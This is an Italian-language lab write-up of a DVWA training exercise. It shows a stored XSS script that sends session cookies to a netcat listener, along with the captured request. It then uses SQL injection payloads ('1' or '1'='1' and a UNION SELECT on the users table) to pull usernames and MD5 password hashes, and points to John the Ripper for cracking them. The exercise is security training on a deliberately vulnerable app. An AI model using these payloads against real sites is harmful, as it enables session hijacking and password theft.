

L'esercizio consiste nel inviare i cookie di DVWA e mandarli a un server dell'attaccante e ricavare tutte le password degli utenti tramite SQL.

La prima parte dell'esercizio consiste nel andare su DVWA e impostare la sicurezza a low e indirizzarsi verso XSS stored, da dove ricaviamo i cookie di sessione scrivendo come nome qualsiasi cosa e al posto del messaggio mettiamo il seguente codice:

```
[<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://127.0.0.1:80", true);  
xhr.withCredentials = true; xhr.send(document.cookie); </script>]
```

Prima di inviare la richiesta, è necessario avviare netcat sulla porta 80. La conferma che tutto funziona correttamente dovrebbe essere identica alla foto trovata qui sotto.

```
nc -l -p 80  
POST / HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: text/plain; charset=UTF-8  
Content-Length: 56  
Origin: http://192.168.49.102  
Connection: keep-alive  
Referer: http://192.168.49.102/  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: cross-site  
  
security=low; PHPSESSID=baf5dedb963f970a734e4b7305431b78
```

La seconda parte dell'esercizio è trovare tutte le password associate agli utenti, quindi bisogna prima trovare tutti gli utenti e per fare ciò bisogna andare sulla sezione SQL injection(blind) nella barra del codice id bisogna digitare [1' or '1'='1], troverete tutti gli utenti come si vede nella foto sottostante.

```
ID: 1' or '1'='1  
First name: admin  
Surname: admin
```

```
ID: 1' or '1'='1  
First name: Gordon  
Surname: Brown
```

```
ID: 1' or '1'='1  
First name: Hack  
Surname: Me
```

```
ID: 1' or '1'='1  
First name: Pablo  
Surname: Picasso
```

```
ID: 1' or '1'='1  
First name: Bob  
Surname: Smith
```

Dopo aver trovato tutti gli utenti procediamo a trovare tutte le password degli utenti digitando nella barra dell'ID ['UNION SELECT user, password FROM users#] e come risultato ci da le password cifrate come in foto

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Per decifrare le password, si può utilizzare un tool come JOHN the Ripper. Basta inserire le password in un file e avviare il programma per ottenere le password in chiaro.